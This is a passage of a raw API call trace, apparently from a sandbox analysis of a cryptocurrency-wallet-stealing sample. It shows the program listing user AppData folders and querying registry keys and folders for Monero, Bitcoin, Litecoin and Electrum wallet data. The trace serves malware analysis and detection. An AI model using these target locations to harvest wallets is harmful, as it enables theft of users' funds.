ftLastWriteTime.dwHighDateTime=0x1d4cf2e, nFileSizeHigh=0x0, nFileSizeLow=0x39c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hr58A4aaHM.ods", cAlternateFileName="HR58A4~1.ODS")) returned 1 [0075.144] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x72bea0a0, ftCreationTime.dwHighDateTime=0x1d4cb1e, ftLastAccessTime.dwLowDateTime=0x9e625970, ftLastAccessTime.dwHighDateTime=0x1d4cca6, ftLastWriteTime.dwLowDateTime=0x9e625970, ftLastWriteTime.dwHighDateTime=0x1d4cca6, nFileSizeHigh=0x0, nFileSizeLow=0xf894, dwReserved0=0x0, dwReserved1=0x0, cFileName="hVotFJWhFGBD 2Z.mkv", cAlternateFileName="HVOTFJ~1.MKV")) returned 1 [0075.144] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf18a470, ftCreationTime.dwHighDateTime=0x1d4c988, ftLastAccessTime.dwLowDateTime=0x4aa33100, ftLastAccessTime.dwHighDateTime=0x1d4cb53, ftLastWriteTime.dwLowDateTime=0x4aa33100, ftLastWriteTime.dwHighDateTime=0x1d4cb53, nFileSizeHigh=0x0, nFileSizeLow=0x3067, dwReserved0=0x0, dwReserved1=0x0, cFileName="IAyzp.swf", cAlternateFileName="")) returned 1 [0075.144] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6b09b060, ftCreationTime.dwHighDateTime=0x1d4d146, ftLastAccessTime.dwLowDateTime=0x5e2d35d0, ftLastAccessTime.dwHighDateTime=0x1d4d4b4, ftLastWriteTime.dwLowDateTime=0x5e2d35d0, ftLastWriteTime.dwHighDateTime=0x1d4d4b4, nFileSizeHigh=0x0, nFileSizeLow=0xc911, dwReserved0=0x0, dwReserved1=0x0, cFileName="IBNXL3TRBVFr5.mkv", cAlternateFileName="IBNXL3~1.MKV")) returned 1 [0075.144] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identities", cAlternateFileName="IDENTI~1")) returned 1 [0075.145] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x432b4b80, ftCreationTime.dwHighDateTime=0x1d4cf93, ftLastAccessTime.dwLowDateTime=0xff9296c0, ftLastAccessTime.dwHighDateTime=0x1d4c7d7, ftLastWriteTime.dwLowDateTime=0xff9296c0, ftLastWriteTime.dwHighDateTime=0x1d4c7d7, nFileSizeHigh=0x0, nFileSizeLow=0x48db, dwReserved0=0x0, dwReserved1=0x0, cFileName="iYBNm_a-oB4z.mp3", cAlternateFileName="IYBNM_~1.MP3")) returned 1 [0075.145] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43b28e90, ftCreationTime.dwHighDateTime=0x1d4d2a1, ftLastAccessTime.dwLowDateTime=0xe44c8ab0, ftLastAccessTime.dwHighDateTime=0x1d4c6ec, ftLastWriteTime.dwLowDateTime=0xe44c8ab0, ftLastWriteTime.dwHighDateTime=0x1d4c6ec, nFileSizeHigh=0x0, nFileSizeLow=0x11737, dwReserved0=0x0, dwReserved1=0x0, cFileName="j15HaVl4.wav", cAlternateFileName="")) returned 1 [0075.145] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3db39830, ftCreationTime.dwHighDateTime=0x1d4cad2, ftLastAccessTime.dwLowDateTime=0xb7fc9bd0, ftLastAccessTime.dwHighDateTime=0x1d4c5f2, ftLastWriteTime.dwLowDateTime=0xb7fc9bd0, ftLastWriteTime.dwHighDateTime=0x1d4c5f2, nFileSizeHigh=0x0, nFileSizeLow=0xb22e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ksndcS0ySa.m4a", cAlternateFileName="KSNDCS~1.M4A")) returned 1 [0075.145] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf03e36d0, ftCreationTime.dwHighDateTime=0x1d4c8b2, ftLastAccessTime.dwLowDateTime=0x2460b940, ftLastAccessTime.dwHighDateTime=0x1d4cd0b, ftLastWriteTime.dwLowDateTime=0x2460b940, ftLastWriteTime.dwHighDateTime=0x1d4cd0b, nFileSizeHigh=0x0, nFileSizeLow=0x559e, dwReserved0=0x0, dwReserved1=0x0, cFileName="KuQFwu.bmp", cAlternateFileName="")) returned 1 [0075.145] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfb927610, ftCreationTime.dwHighDateTime=0x1d4c739, ftLastAccessTime.dwLowDateTime=0xfb561090, ftLastAccessTime.dwHighDateTime=0x1d4c8be, ftLastWriteTime.dwLowDateTime=0xfb561090, ftLastWriteTime.dwHighDateTime=0x1d4c8be, nFileSizeHigh=0x0, nFileSizeLow=0x14a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ln1OAOuc geS2WIzM.png", cAlternateFileName="LN1OAO~1.PNG")) returned 1 [0075.145] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3fa075c0, ftCreationTime.dwHighDateTime=0x1d4d101, ftLastAccessTime.dwLowDateTime=0xcfc26a0, ftLastAccessTime.dwHighDateTime=0x1d4c8be, ftLastWriteTime.dwLowDateTime=0xcfc26a0, ftLastWriteTime.dwHighDateTime=0x1d4c8be, nFileSizeHigh=0x0, nFileSizeLow=0x397f, dwReserved0=0x0, dwReserved1=0x0, cFileName="LQM_Dxfr3B.png", cAlternateFileName="LQM_DX~1.PNG")) returned 1 [0075.145] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Macromedia", cAlternateFileName="MACROM~1")) returned 1 [0075.146] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb69ca3d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb69ca3d0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0075.146] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb458e750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb458e750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0075.146] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb104aa0, ftCreationTime.dwHighDateTime=0x1d4c90a, ftLastAccessTime.dwLowDateTime=0x572d6360, ftLastAccessTime.dwHighDateTime=0x1d4d34a, ftLastWriteTime.dwLowDateTime=0x572d6360, ftLastWriteTime.dwHighDateTime=0x1d4d34a, nFileSizeHigh=0x0, nFileSizeLow=0x1a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="n4lmOUI0.swf", cAlternateFileName="")) returned 1 [0075.146] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf65260, ftCreationTime.dwHighDateTime=0x1d4ccef, ftLastAccessTime.dwLowDateTime=0x9db025a0, ftLastAccessTime.dwHighDateTime=0x1d4cc94, ftLastWriteTime.dwLowDateTime=0x9db025a0, ftLastWriteTime.dwHighDateTime=0x1d4cc94, nFileSizeHigh=0x0, nFileSizeLow=0x42ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NKT0CZhD-olv.odp", cAlternateFileName="NKT0CZ~1.ODP")) returned 1 [0075.146] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xfa41d500, ftCreationTime.dwHighDateTime=0x1d4c9bc, ftLastAccessTime.dwLowDateTime=0x64df2e10, ftLastAccessTime.dwHighDateTime=0x1d4c6c2, ftLastWriteTime.dwLowDateTime=0x64df2e10, ftLastWriteTime.dwHighDateTime=0x1d4c6c2, nFileSizeHigh=0x0, nFileSizeLow=0x15a44, dwReserved0=0x0, dwReserved1=0x0, cFileName="NR 1-eqs j1Rtdrm4JQ.m4a", cAlternateFileName="NR1-EQ~1.M4A")) returned 1 [0075.146] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3eb4f890, ftCreationTime.dwHighDateTime=0x1d4cc04, ftLastAccessTime.dwLowDateTime=0x2ef849b0, ftLastAccessTime.dwHighDateTime=0x1d4ce7b, ftLastWriteTime.dwLowDateTime=0x2ef849b0, ftLastWriteTime.dwHighDateTime=0x1d4ce7b, nFileSizeHigh=0x0, nFileSizeLow=0xe747, dwReserved0=0x0, dwReserved1=0x0, cFileName="o8UKEWyKqD9a6Y6Vn69.mp3", cAlternateFileName="O8UKEW~1.MP3")) returned 1 [0075.146] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc931ca60, ftCreationTime.dwHighDateTime=0x1d4c66f, ftLastAccessTime.dwLowDateTime=0xe1dc0db0, ftLastAccessTime.dwHighDateTime=0x1d4cd80, ftLastWriteTime.dwLowDateTime=0xe1dc0db0, ftLastWriteTime.dwHighDateTime=0x1d4cd80, nFileSizeHigh=0x0, nFileSizeLow=0x7e20, dwReserved0=0x0, dwReserved1=0x0, cFileName="qssd.m4a", cAlternateFileName="")) returned 1 [0075.147] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36270fb0, ftCreationTime.dwHighDateTime=0x1d4cf06, ftLastAccessTime.dwLowDateTime=0x6ef53aa0, ftLastAccessTime.dwHighDateTime=0x1d4cf52, ftLastWriteTime.dwLowDateTime=0x6ef53aa0, ftLastWriteTime.dwHighDateTime=0x1d4cf52, nFileSizeHigh=0x0, nFileSizeLow=0xcbc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="s0SgXv8xai.avi", cAlternateFileName="S0SGXV~1.AVI")) returned 1 [0075.147] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4ccd5b00, ftCreationTime.dwHighDateTime=0x1d4d309, ftLastAccessTime.dwLowDateTime=0xab9af50, ftLastAccessTime.dwHighDateTime=0x1d4d4b4, ftLastWriteTime.dwLowDateTime=0xab9af50, ftLastWriteTime.dwHighDateTime=0x1d4d4b4, nFileSizeHigh=0x0, nFileSizeLow=0x16504, dwReserved0=0x0, dwReserved1=0x0, cFileName="tduHz173HQ.swf", cAlternateFileName="TDUHZ1~1.SWF")) returned 1 [0075.147] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdd25bd00, ftCreationTime.dwHighDateTime=0x1d4c7ab, ftLastAccessTime.dwLowDateTime=0x8f7392c0, ftLastAccessTime.dwHighDateTime=0x1d4c897, ftLastWriteTime.dwLowDateTime=0x8f7392c0, ftLastWriteTime.dwHighDateTime=0x1d4c897, nFileSizeHigh=0x0, nFileSizeLow=0x8a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="Toff-UV3qV.csv", cAlternateFileName="TOFF-U~1.CSV")) returned 1 [0075.147] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb3e77e0, ftCreationTime.dwHighDateTime=0x1d4cabd, ftLastAccessTime.dwLowDateTime=0x133bc9f0, ftLastAccessTime.dwHighDateTime=0x1d4c902, ftLastWriteTime.dwLowDateTime=0x133bc9f0, ftLastWriteTime.dwHighDateTime=0x1d4c902, nFileSizeHigh=0x0, nFileSizeLow=0x9ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="uu9Jm.gif", cAlternateFileName="")) returned 1 [0075.147] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3c755820, ftCreationTime.dwHighDateTime=0x1d4d2af, ftLastAccessTime.dwLowDateTime=0xd9ef32d0, ftLastAccessTime.dwHighDateTime=0x1d4ceed, ftLastWriteTime.dwLowDateTime=0xd9ef32d0, ftLastWriteTime.dwHighDateTime=0x1d4ceed, nFileSizeHigh=0x0, nFileSizeLow=0x29e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="vn8g2SsalDLedk.rtf", cAlternateFileName="VN8G2S~1.RTF")) returned 1 [0075.147] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcebafe70, ftCreationTime.dwHighDateTime=0x1d4ce94, ftLastAccessTime.dwLowDateTime=0xc8871f80, ftLastAccessTime.dwHighDateTime=0x1d4c740, ftLastWriteTime.dwLowDateTime=0xc8871f80, ftLastWriteTime.dwHighDateTime=0x1d4c740, nFileSizeHigh=0x0, nFileSizeLow=0x1707a, dwReserved0=0x0, dwReserved1=0x0, cFileName="VS05.jpg", cAlternateFileName="")) returned 1 [0075.147] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1fb2940, ftCreationTime.dwHighDateTime=0x1d4cdb9, ftLastAccessTime.dwLowDateTime=0x20cc1230, ftLastAccessTime.dwHighDateTime=0x1d4cdfa, ftLastWriteTime.dwLowDateTime=0x20cc1230, ftLastWriteTime.dwHighDateTime=0x1d4cdfa, nFileSizeHigh=0x0, nFileSizeLow=0x17c05, dwReserved0=0x0, dwReserved1=0x0, cFileName="vSXldiBh-2ZYi7D.pptx", cAlternateFileName="VSXLDI~1.PPT")) returned 1 [0075.147] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35c2570, ftCreationTime.dwHighDateTime=0x1d4ca97, ftLastAccessTime.dwLowDateTime=0xbe29edd0, ftLastAccessTime.dwHighDateTime=0x1d4cb53, ftLastWriteTime.dwLowDateTime=0xbe29edd0, ftLastWriteTime.dwHighDateTime=0x1d4cb53, nFileSizeHigh=0x0, nFileSizeLow=0x17ae3, dwReserved0=0x0, dwReserved1=0x0, cFileName="VT_FLL6X.pdf", cAlternateFileName="")) returned 1 [0075.148] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x58392230, ftCreationTime.dwHighDateTime=0x1d4c882, ftLastAccessTime.dwLowDateTime=0xe07500d0, ftLastAccessTime.dwHighDateTime=0x1d4c673, ftLastWriteTime.dwLowDateTime=0xe07500d0, ftLastWriteTime.dwHighDateTime=0x1d4c673, nFileSizeHigh=0x0, nFileSizeLow=0x244b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YhJ1k8d10.m4a", cAlternateFileName="YHJ1K8~1.M4A")) returned 1 [0075.148] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4bca190, ftCreationTime.dwHighDateTime=0x1d4c7eb, ftLastAccessTime.dwLowDateTime=0x19a60560, ftLastAccessTime.dwHighDateTime=0x1d4ca67, ftLastWriteTime.dwLowDateTime=0x19a60560, ftLastWriteTime.dwHighDateTime=0x1d4ca67, nFileSizeHigh=0x0, nFileSizeLow=0x17e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="_KfZrP9-SmMk.png", cAlternateFileName="_KFZRP~1.PNG")) returned 1 [0075.148] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e410 | out: lpFindFileData=0x18e410*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4bca190, ftCreationTime.dwHighDateTime=0x1d4c7eb, ftLastAccessTime.dwLowDateTime=0x19a60560, ftLastAccessTime.dwHighDateTime=0x1d4ca67, ftLastWriteTime.dwLowDateTime=0x19a60560, ftLastWriteTime.dwHighDateTime=0x1d4ca67, nFileSizeHigh=0x0, nFileSizeLow=0x17e82, dwReserved0=0x0, dwReserved1=0x0, cFileName="_KfZrP9-SmMk.png", cAlternateFileName="_KFZRP~1.PNG")) returned 0 [0075.148] FindClose (in: hFindFile=0x66e488 | out: hFindFile=0x66e488) returned 1 [0075.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985924, cbMultiByte=11, lpWideCharStr=0x18d31c, cchWideChar=2047 | out: lpWideCharStr="wallet_path\\electrum.dat传瑵潬歯䰠杯湩‬歓灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 11 [0075.148] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\monero-project\\monero-core", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e320 | out: phkResult=0x18e320*=0x0) returned 0x2 [0075.148] RegQueryValueExW (in: hKey=0x0, lpValueName="wallet_path", lpReserved=0x0, lpType=0x18e328, lpData=0x18e120, lpcbData=0x18e324*=0xfe | out: lpType=0x18e328*=0x408152, lpData=0x18e120*=0x0, lpcbData=0x18e324*=0xfe) returned 0x6 [0075.148] RegCloseKey (hKey=0x80000001) returned 0x0 [0075.148] SysReAllocStringLen (in: pbstr=0x452e470*=0x0, psz="Bitcoin\\Bitcoin-Qt", len=0x12 | out: pbstr=0x452e470*="Bitcoin\\Bitcoin-Qt") returned 1 [0075.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x398595c, cbMultiByte=26, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="BitcoinGold\\BitcoinGold-Qtore灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 26 [0075.148] SysReAllocStringLen (in: pbstr=0x452e474*=0x0, psz="BitcoinGold\\BitcoinGold-Qt", len=0x1a | out: pbstr=0x452e474*="BitcoinGold\\BitcoinGold-Qt") returned 1 [0075.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3985984, cbMultiByte=18, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="BitCore\\BitCore-QtnGold-Qtore灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 18 [0075.148] SysReAllocStringLen (in: pbstr=0x452e478*=0x0, psz="BitCore\\BitCore-Qt", len=0x12 | out: pbstr=0x452e478*="BitCore\\BitCore-Qt") returned 1 [0075.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39859a4, cbMultiByte=20, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="Litecoin\\Litecoin-Qtold-Qtore灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 20 [0075.148] SysReAllocStringLen (in: pbstr=0x452e47c*=0x0, psz="Litecoin\\Litecoin-Qt", len=0x14 | out: pbstr=0x452e47c*="Litecoin\\Litecoin-Qt") returned 1 [0075.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x39859c8, cbMultiByte=24, lpWideCharStr=0x18d324, cchWideChar=2047 | out: lpWideCharStr="BitcoinABC\\BitcoinABC-QtQtore灹ⱥ䴠獥敳杮牥ꋐ라펀\x18ꋘ라펈\x18⹼疘Љ") returned 24 [0075.148] SysReAllocStringLen (in: pbstr=0x452e480*=0x0, psz="BitcoinABC\\BitcoinABC-Qt", len=0x18 | out: pbstr=0x452e480*="BitcoinABC\\BitcoinABC-Qt") returned 1 [0075.148] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Bitcoin\\Bitcoin-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e320 | out: phkResult=0x18e320*=0x0) returned 0x2 [0075.149] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x18e328, lpData=0x18e120, lpcbData=0x18e324*=0xfe | out: lpType=0x18e328*=0x18e67c, lpData=0x18e120*=0x0, lpcbData=0x18e324*=0xfe) returned 0x6 [0075.149] RegCloseKey (hKey=0x80000001) returned 0x0 [0075.149] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\BitcoinGold\\BitcoinGold-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e320 | out: phkResult=0x18e320*=0x0) returned 0x2 [0075.149] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x18e328, lpData=0x18e120, lpcbData=0x18e324*=0xfe | out: lpType=0x18e328*=0x18e67c, lpData=0x18e120*=0x0, lpcbData=0x18e324*=0xfe) returned 0x6 [0075.149] RegCloseKey (hKey=0x80000001) returned 0x0 [0075.149] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\BitCore\\BitCore-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e320 | out: phkResult=0x18e320*=0x0) returned 0x2 [0075.149] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x18e328, lpData=0x18e120, lpcbData=0x18e324*=0xfe | out: lpType=0x18e328*=0x18e67c, lpData=0x18e120*=0x0, lpcbData=0x18e324*=0xfe) returned 0x6 [0075.149] RegCloseKey (hKey=0x80000001) returned 0x0 [0075.149] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Litecoin\\Litecoin-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e320 | out: phkResult=0x18e320*=0x0) returned 0x2 [0075.149] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x18e328, lpData=0x18e120, lpcbData=0x18e324*=0xfe | out: lpType=0x18e328*=0x18e67c, lpData=0x18e120*=0x0, lpcbData=0x18e324*=0xfe) returned 0x6 [0075.150] RegCloseKey (hKey=0x80000001) returned 0x0 [0075.150] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\BitcoinABC\\BitcoinABC-Qt", ulOptions=0x0, samDesired=0x20019, phkResult=0x18e320 | out: phkResult=0x18e320*=0x0) returned 0x2 [0075.150] RegQueryValueExW (in: hKey=0x0, lpValueName="strDataDir", lpReserved=0x0, lpType=0x18e328, lpData=0x18e120, lpcbData=0x18e324*=0xfe | out: lpType=0x18e328*=0x18e67c, lpData=0x18e120*=0x0, lpcbData=0x18e324*=0xfe) returned 0x6 [0075.150] RegCloseKey (hKey=0x80000001) returned 0x0 [0075.150] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Electrum\\wallets\\", lpDst=0x48e004c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 0x40 [0075.150] SysReAllocStringLen (in: pbstr=0x18e5d0*="%appdata%\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5d0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.150] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="*", cchWideChar=1, lpMultiByteStr=0x18d294, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*ã\x18", lpUsedDefaultChar=0x0) returned 1 [0075.150] SysReAllocStringLen (in: pbstr=0x18e340*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.150] SysReAllocStringLen (in: pbstr=0x18e294*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e294*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.150] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.150] SysReAllocStringLen (in: pbstr=0x18e290*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e290*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.150] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.150] SysReAllocStringLen (in: pbstr=0x18e28c*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e28c*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.150] SysReAllocStringLen (in: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e340*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.150] SysReAllocStringLen (in: pbstr=0x23201d8*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x23201d8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.151] SysReAllocStringLen (in: pbstr=0x18e5bc*=0x0, psz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\", len=0x3f | out: pbstr=0x18e5bc*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Electrum\\wallets\\") returned 1 [0075.151] SysReAllocStringLen (in: 